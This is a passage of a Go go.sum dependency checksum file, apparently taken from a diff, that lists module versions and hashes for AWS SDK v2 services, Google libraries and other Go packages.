github.com/aws/aws-sdk-go-v2/service/glue v1.50.0/go.mod h1:agadckFdb7BwFqeN4CXt3yrMtoFvY/8b2F+8FNeHVOc=
github.com/aws/aws-sdk-go-v2/service/grafana v1.13.1 h1:7njo8N0P8cfchwXTn1xefRbYCzjQN6jrqOATFoan37U=
github.com/aws/aws-sdk-go-v2/service/grafana v1.13.1/go.mod h1:FkpbGiG/BBvaZKQTy4eNxo04PJXOuGwIbVMuUM+xAUo=
github.com/aws/aws-sdk-go-v2/service/iam v1.20.0 h1:ywXSXkssdnuPlJyCZVO5kAUQhFm/RhsbvWRHklJ0uH4=
github.com/aws/aws-sdk-go-v2/service/iam v1.20.0/go.mod h1:kAnokExGCYs7zfvZEZdFHvQ/x4ZKIci0Raps6mZI1Ag=
github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.9.11 h1:y2+VQzC6Zh2ojtV2LoC0MNwHWc6qXv/j2vrQtlftkdA=
github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.9.11/go.mod h1:iV4q2hsqtNECrfmlXyord9u4zyuFEJX9eLgLpSPzWA8=
github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.1.28 h1:vGWm5vTpMr39tEZfQeDiDAMgk+5qsnvRny3FjLpnH5w=
github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.1.28/go.mod h1:spfrICMD6wCAhjhzHuy6DOZZ+LAIY10UxhUmLzpJTTs=
github.com/aws/aws-sdk-go-v2/service/internal/endpoint-discovery v1.7.27 h1:QmyPCRZNMR1pFbiOi9kBZWZuKrKB9LD4cxltxQk4tNE=
github.com/aws/aws-sdk-go-v2/service/internal/endpoint-discovery v1.7.27/go.mod h1:DfuVY36ixXnsG+uTqnoLWunXAKJ4qjccoFrXUPpj+hs=
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.9.27 h1:0iKliEXAcCa2qVtRs7Ot5hItA2MsufrphbRFlz1Owxo=
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.9.27/go.mod h1:EOwBD4J4S5qYszS5/3DpkejfuK+Z5/1uzICfPaZLtqw=
github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.14.2 h1:NbWkRxEEIRSCqxhsHQuMiTH7yo+JZW1gp8v3elSVMTQ=
github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.14.2/go.mod h1:4tfW5l4IAB32VWCDEBxCRtR9T4BWy4I4kr1spr8NgZM=
github.com/aws/aws-sdk-go-v2/service/lambda v1.35.0 h1:iNLsDIOju/bbqw0mNaEXh+9Ms6Mm0RjcHPP9z4k9lUY=
github.com/aws/aws-sdk-go-v2/service/lambda v1.35.0/go.mod h1:i23nHcGEyswthctBfhEO1agGpM5Uyh83aSmSB6DmdCk=
github.com/aws/aws-sdk-go-v2/service/lightsail v1.26.6 h1:QQE/ZcXSrPFGprrG8VFblHiMpenvzICT09YnaMmQEwk=
github.com/aws/aws-sdk-go-v2/service/lightsail v1.26.6/go.mod h1:L+JqH2pSCvKnCVJNKnU/8TTUfuNuTXSmXiS3F0zMvzQ=
github.com/aws/aws-sdk-go-v2/service/mq v1.14.11 h1:eZ1ScRKjMgz9yHTFBivnnRW9eUAoGXeuvWmx28ACYbI=
github.com/aws/aws-sdk-go-v2/service/mq v1.14.11/go.mod h1:ladDWyHbOQSExyg5caiKPBAxkjZfAbb/wZcXpF80IB8=
github.com/aws/aws-sdk-go-v2/service/opensearch v1.17.0 h1:GAFqcrOqxNh/2FXEb07nBpqlv79hGxJoI1u+5Cl/aAU=
github.com/aws/aws-sdk-go-v2/service/opensearch v1.17.0/go.mod h1:a+o5iMtYkg8xyE1VLRmhXmWElEgugcSIlU3rCY9hL5g=
github.com/aws/aws-sdk-go-v2/service/organizations v1.19.6 h1:wHV9iUDPdluHAkeJBP9exp4IO9KN+T7/UHgltB8Udsg=
github.com/aws/aws-sdk-go-v2/service/organizations v1.19.6/go.mod h1:zw4Ac19gtzc4cdtfBCTZa7FlrXYh8tbUl3Jr7movexs=
github.com/aws/aws-sdk-go-v2/service/ram v1.18.2 h1:taFrZuOwM1UiayFQhSXw1JX5v2wFM/qIBGxgN5UWsxU=
github.com/aws/aws-sdk-go-v2/service/ram v1.18.2/go.mod h1:lYxryEoqZQtttq5iIoA40FD079MxYvNCIzczvMD9iAM=
github.com/aws/aws-sdk-go-v2/service/rds v1.45.0 h1:Yi23UNiGidNfT7tIW0lbE6JtRR1ZN+cNZGRTKLB+opk=
github.com/aws/aws-sdk-go-v2/service/rds v1.45.0/go.mod h1:rS6T0DrjdZ5LDr8ZC/J9iZdD1oSbie5reWWzqv5zLOw=
github.com/aws/aws-sdk-go-v2/service/redshift v1.27.11 h1:a6XfWSH3xO0+eEAT9ox6V13LNX09fQrs7QvU5+juxY0=
github.com/aws/aws-sdk-go-v2/service/redshift v1.27.11/go.mod h1:gEfU7N8/eImCoodwl5CKW7Mih19THtJhzQCdA5TZZQ0=
github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi v1.14.12 h1:/fvzwRqxxiNJwNK5XVE1NvnQFvNajNRYx82lkTqXlMM=
github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi v1.14.12/go.mod h1:i/CXT+v8caoM60a7brYlrVG64srBa1Op0Q5Nl6askyo=
github.com/aws/aws-sdk-go-v2/service/route53 v1.28.1 h1:8e1fgdyer5IqBPtiWNsVLY/XFucmNTtYMqADyCFXTgQ=
github.com/aws/aws-sdk-go-v2/service/route53 v1.28.1/go.mod h1:9SEpwqaALzp34eCT6w5PTh4SDDT84wxfMRx9VJSJPsk=
github.com/aws/aws-sdk-go-v2/service/s3 v1.33.1 h1:O+9nAy9Bb6bJFTpeNFtd9UfHbgxO1o4ZDAM9rQp5NsY=
github.com/aws/aws-sdk-go-v2/service/s3 v1.33.1/go.mod h1:J9kLNzEiHSeGMyN7238EjJmBpCniVzFda75Gxl/NqB8=
github.com/aws/aws-sdk-go-v2/service/sagemaker v1.83.0 h1:8fsILyGP7AMoK4LkO09UE9x/6uj05i3N3//CqUE3z1E=
github.com/aws/aws-sdk-go-v2/service/sagemaker v1.83.0/go.mod h1:l4Wxb+ZaxOd9hpjFmzI28NgX8us5H3rv/QXg9q/T8tE=
github.com/aws/aws-sdk-go-v2/service/secretsmanager v1.19.8 h1:eB91eEYUlh8+O2dXr189W8GJJd+/T8N/c5HocH2KzVo=
github.com/aws/aws-sdk-go-v2/service/secretsmanager v1.19.8/go.mod h1:3ARttS6G6U3auEdKfaN4GlnfS9UxYE9nqub1+0YGycA=
github.com/aws/aws-sdk-go-v2/service/sfn v1.17.11 h1:A3Y64jN5O4kZMDpsddKgy7p5ZRmKae4Rd5JJglkIq5Q=
github.com/aws/aws-sdk-go-v2/service/sfn v1.17.11/go.mod h1:pZ4bJEoEyKsCxq1IJFbhiB3JKNr1VMvmI+ujmlwOiuU=
github.com/aws/aws-sdk-go-v2/service/sns v1.20.11 h1:kUKAkuOhCCq/Av372Dtzg0oaAD5VEUYdDtU4lGIYKkw=
github.com/aws/aws-sdk-go-v2/service/sns v1.20.11/go.mod h1:WjBcrd28zNbbuAcIRO/n89sSeOxTuOZPiuxNXU/2WrI=
github.com/aws/aws-sdk-go-v2/service/sqs v1.23.0 h1:EgyGgs20+tdc2F2P7mKCD6SkWv/62fsGZlT3N5VFi5M=
github.com/aws/aws-sdk-go-v2/service/sqs v1.23.0/go.mod h1:ujUjm+PrcKUeIiKu2PT7MWjcyY0D6YZRZF3fSswiO+0=
github.com/aws/aws-sdk-go-v2/service/ssm v1.36.4 h1:3AjvCuRS8OnNVRC/UBagp1Jo2feR94+VAIKO4lz8gOQ=
github.com/aws/aws-sdk-go-v2/service/ssm v1.36.4/go.mod h1:p6MaesK9061w6NTiFmZpUzEkKUY5blKlwD2zYyErxKA=
github.com/aws/aws-sdk-go-v2/service/sso v1.12.10 h1:UBQjaMTCKwyUYwiVnUt6toEJwGXsLBI6al083tpjJzY=
github.com/aws/aws-sdk-go-v2/service/sso v1.12.10/go.mod h1:ouy2P4z6sJN70fR3ka3wD3Ro3KezSxU6eKGQI2+2fjI=
github.com/aws/aws-sdk-go-v2/service/ssooidc v1.14.10 h1:PkHIIJs8qvq0e5QybnZoG1K/9QTrLr9OsqCIo59jOBA=
github.com/aws/aws-sdk-go-v2/service/ssooidc v1.14.10/go.mod h1:AFvkxc8xfBe8XA+5St5XIHHrQQtkxqrRincx4hmMHOk=
github.com/aws/aws-sdk-go-v2/service/sts v1.19.0 h1:2DQLAKDteoEDI8zpCzqBMaZlJuoE9iTYD0gFmXVax9E=
github.com/aws/aws-sdk-go-v2/service/sts v1.19.0/go.mod h1:BgQOMsg8av8jset59jelyPW7NoZcZXLVpDsXunGDrk8=
github.com/aws/smithy-go v1.13.5 h1:hgz0X/DX0dGqTYpGALqXJoRKRj5oQ7150i5FdTePzO8=
github.com/aws/smithy-go v1.13.5/go.mod h1:Tg+OJXh4MB2R/uN61Ko2f6hTZwB/ZYGOtib8J3gBHzA=
github.com/bishopfox/awsservicemap v1.0.2 h1:+NnuInVcQkja6y6h6eGseneU3m5Nzp9O++gR1s+FiyM=
github.com/bishopfox/awsservicemap v1.0.2/go.mod h1:oy9Fyqh6AozQjShSx+zRNouTlp7k3z3YEMoFkN8rquc=
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=
github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI=
github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU=
@@ -183,6 +223,10 @@ github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDk
github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc=
github.com/cncf/udpa/go v0.0.0-20200629203442-efcf912fb354/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk=
github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk=
github.com/cncf/udpa/go v0.0.0-20210930031921-04548b0d99d4/go.mod h1:6pvJx4me5XPnfI9Z40ddWsdw2W/uZgQLFXToKeRcDiI=
github.com/cncf/xds/go v0.0.0-20210805033703-aa0b78936158/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=
github.com/cncf/xds/go v0.0.0-20210922020428-25de7278fc84/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=
github.com/cncf/xds/go v0.0.0-20211011173535-cb28da3451f1/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=
github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
@@ -190,32 +234,38 @@ github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/dimchansky/utfbom v1.1.1 h1:vV6w1AhK4VMnhBno/TPVCoK9U/LP0PkLCS9tbxHdi/U=
github.com/dimchansky/utfbom v1.1.1/go.mod h1:SxdoEBH5qIqFocHMyGOXVAybYJdr71b1Q/j0mACtrfE=
github.com/dominikbraun/graph v0.15.0 h1:U6N0fWJTDsUO9R5NhFE1Xi0YGGQ1+nKV9KO5apClf3E=
github.com/dominikbraun/graph v0.15.0/go.mod h1:yOjYyogZLY1LSG9E33JWZJiq5k83Qy2C6POAuiViluc=
github.com/dnaeon/go-vcr v1.2.0 h1:zHCHvJYTMh1N7xnV7zf1m1GPBF9Ad0Jk/whtQ1663qI=
github.com/dominikbraun/graph v0.22.2 h1:rFtrufgqXJy7daEMTxHIQWQc12Y1XHelXi2Heo1Bfho=
github.com/dominikbraun/graph v0.22.2/go.mod h1:yOjYyogZLY1LSG9E33JWZJiq5k83Qy2C6POAuiViluc=
github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
github.com/envoyproxy/go-control-plane v0.9.7/go.mod h1:cwu0lG7PUMfa9snN8LXBig5ynNVH9qI8YYLbd1fK2po=
github.com/envoyproxy/go-control-plane v0.9.9-0.20201210154907-fd9021fe5dad/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk=
github.com/envoyproxy/go-control-plane v0.9.10-0.20210907150352-cf90f659a021/go.mod h1:AFq3mo9L8Lqqiid3OhADV3RfLJnjiw63cSpi+fDTRC0=
github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=
github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w=
github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk=
github.com/fatih/color v1.15.0 h1:kOqh6YHBtK8aywxGerMG2Eq3H6Qgoqeo13Bk2Mv/nBs=
github.com/fatih/color v1.15.0/go.mod h1:0h5ZqXfHYED7Bhv2ZJamyIOUej9KtShiJESRwBDUSsw=
github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=
github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU=
github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=
github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=
github.com/go-openapi/errors v0.20.2/go.mod h1:cM//ZKUKyO06HSwqAelJ5NsEMMcpa6VpXe8DOa1Mi1M=
github.com/go-openapi/errors v0.20.3 h1:rz6kiC84sqNQoqrtulzaL/VERgkoCyB6WdEkc2ujzUc=
github.com/go-openapi/errors v0.20.3/go.mod h1:Z3FlZ4I8jEGxjUK+bugx3on2mIAk4txuAOhlsB1FSgk=
github.com/go-openapi/strfmt v0.21.3 h1:xwhj5X6CjXEZZHMWy1zKJxvW9AfHC9pkyUjLvHtKG7o=
github.com/go-openapi/strfmt v0.21.3/go.mod h1:k+RzNO0Da+k3FrrynSNN8F7n/peCmQQqbbXjtDfvmGg=
github.com/go-openapi/strfmt v0.21.7 h1:rspiXgNWgeUzhjo1YU01do6qsahtJNByjLVbPLNHb8k=
github.com/go-openapi/strfmt v0.21.7/go.mod h1:adeGTkxE44sPyLk0JV235VQAO/ZXUr8KAzYjclFs3ew=
github.com/golang-jwt/jwt/v4 v4.0.0/go.mod h1:/xlHOz8bRuivTWchD4jCa+NbatV+wEUSzwAxVc6locg=
github.com/golang-jwt/jwt/v4 v4.2.0/go.mod h1:/xlHOz8bRuivTWchD4jCa+NbatV+wEUSzwAxVc6locg=
github.com/golang-jwt/jwt/v4 v4.4.2 h1:rcc4lwaZgFMCZ5jxF9ABolDcIHdBytAFgqFPbSJQAYs=
github.com/golang-jwt/jwt/v4 v4.4.2/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0=
github.com/golang-jwt/jwt/v4 v4.5.0 h1:7cYmW1XlMY7h7ii7UhUyChSgS5wUJEnm9uZVTGqOWzg=
github.com/golang-jwt/jwt/v4 v4.5.0/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0=
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da h1:oI5xCqsCo564l8iNU+DwB5epxmsaqB+rhGL0m5jtYqE=
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y=
@@ -237,6 +287,10 @@ github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvq
github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8=
github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY=
github.com/golang/protobuf v1.5.3 h1:KhyjKVUg7Usr/dYsdSqoFveMYd5ko72D+zANwlG1mmg=
github.com/golang/protobuf v1.5.3/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY=
github.com/golang/snappy v0.0.1/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=
github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
@@ -248,12 +302,17 @@ github.com/google/go-cmp v0.4.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/
github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.8 h1:e6P7q2lk1O+qJJb4BtCQXlK8vWEO8V1ZeuEdJNOqZyg=
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38=
github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
github.com/google/martian v2.1.0+incompatible h1:/CP5g8u/VJHijgedC/Legn3BAbAaWPgecwXBIDzw5no=
github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs=
github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0=
github.com/google/martian/v3 v3.1.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0=
github.com/google/martian/v3 v3.3.2 h1:IqNFLAmvJOgVlpdEBiQbDc2EwKW77amAycfTuWKdfvw=
github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
github.com/google/pprof v0.0.0-20191218002539-d4f498aebedc/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
@@ -264,19 +323,27 @@ github.com/google/pprof v0.0.0-20200708004538-1a94d8640e99/go.mod h1:ZgVRPoUq/hf
github.com/google/pprof v0.0.0-20201023163331-3e6fc7fc9c4c/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE=
github.com/google/pprof v0.0.0-20201203190320-1bf35d6f28c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE=
github.com/google/pprof v0.0.0-20201218002935-b9804c9f04c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE=
github.com/google/pprof v0.0.0-20221118152302-e6195bd50e26 h1:Xim43kblpZXfIBQsbuBVKCudVG457BR2GZFIz3uw3hQ=
github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI=
github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/google/uuid v1.1.2 h1:EVhdT+1Kseyi1/pUmXKaFxYsDNy9RQYkMWRH68J/W7Y=
github.com/google/s2a-go v0.1.4 h1:1kZ/sQM3srePvKs3tXAvQzo66XfcReoqFpIpIccE7Oc=
github.com/google/s2a-go v0.1.4/go.mod h1:Ej+mSEMGRnqRzjc7VtF+jdBwYG5fuJfiZ8ELkjEwM0A=
github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=
github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/googleapis/enterprise-certificate-proxy v0.2.4 h1:uGy6JWR/uMIILU8wbf+OkstIrNiMjGpEIyhx8f6W7s4=
github.com/googleapis/enterprise-certificate-proxy v0.2.4/go.mod h1:AwSRAtLfXpU5Nm3pW+v7rGDHp09LsPtGY9MduiEsR9k=
github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg=
github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk=
github.com/googleapis/gax-go/v2 v2.10.0 h1:ebSgKfMxynOdxw8QQuFOKMgomqeLGPqNLQox2bo42zg=
github.com/googleapis/gax-go/v2 v2.10.0/go.mod h1:4UOEnMCrxsSqQ940WnTiD6qJ63le2ev3xfyagutxiPw=
github.com/googleapis/google-cloud-go-testing v0.0.0-20200911160855-bcd43fbb19e8/go.mod h1:dvDLG8qkwmyD9a/MJJN3XJcT3xFxOKAvTZGvuZmac9g=
github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw=
github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
github.com/inconshreveable/mousetrap v1.0.1 h1:U3uMjPSQEBMNp1lFxmllqCPM6P5u/Xq7Pgzkat/bFNc=
github.com/inconshreveable/mousetrap v1.0.1/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8=
github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
github.com/jedib0t/go-pretty v4.3.0+incompatible h1:CGs8AVhEKg/n9YbUenWmNStRW2PHJzaeDodcfvRAbIo=
github.com/jedib0t/go-pretty v4.3.0+incompatible/go.mod h1:XemHduiw8R651AF9Pt4FwCTKeG3oo7hrHJAoznj9nag=
github.com/jmespath/go-jmespath v0.4.0 h1:BEgLn5cpjn8UN1mAw4NjwDrS35OdebyEtFe+9YPoQUg=
@@ -285,6 +352,8 @@ github.com/jmespath/go-jmespath/internal/testify v1.5.1 h1:shLQSRRSCCPj3f2gpwzGw
github.com/jmespath/go-jmespath/internal/testify v1.5.1/go.mod h1:L3OGu8Wl2/fWfCI6z80xFu9LTZmf1ZRjMHUOPmWr69U=
github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU=
github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/XSXhF0NWZEnDohbsk=
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 h1:Z9n2FFNUXsshfwJMBgNA0RU6/i7WVaAegv3PtuIHPMs=
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8=
github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
github.com/klauspost/compress v1.13.6/go.mod h1:/3/Vjq9QcHkK5uEr5lBEmyoZ1iFhe47etQ6QUkpK6sk=
github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg=
@@ -292,54 +361,68 @@ github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORN
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
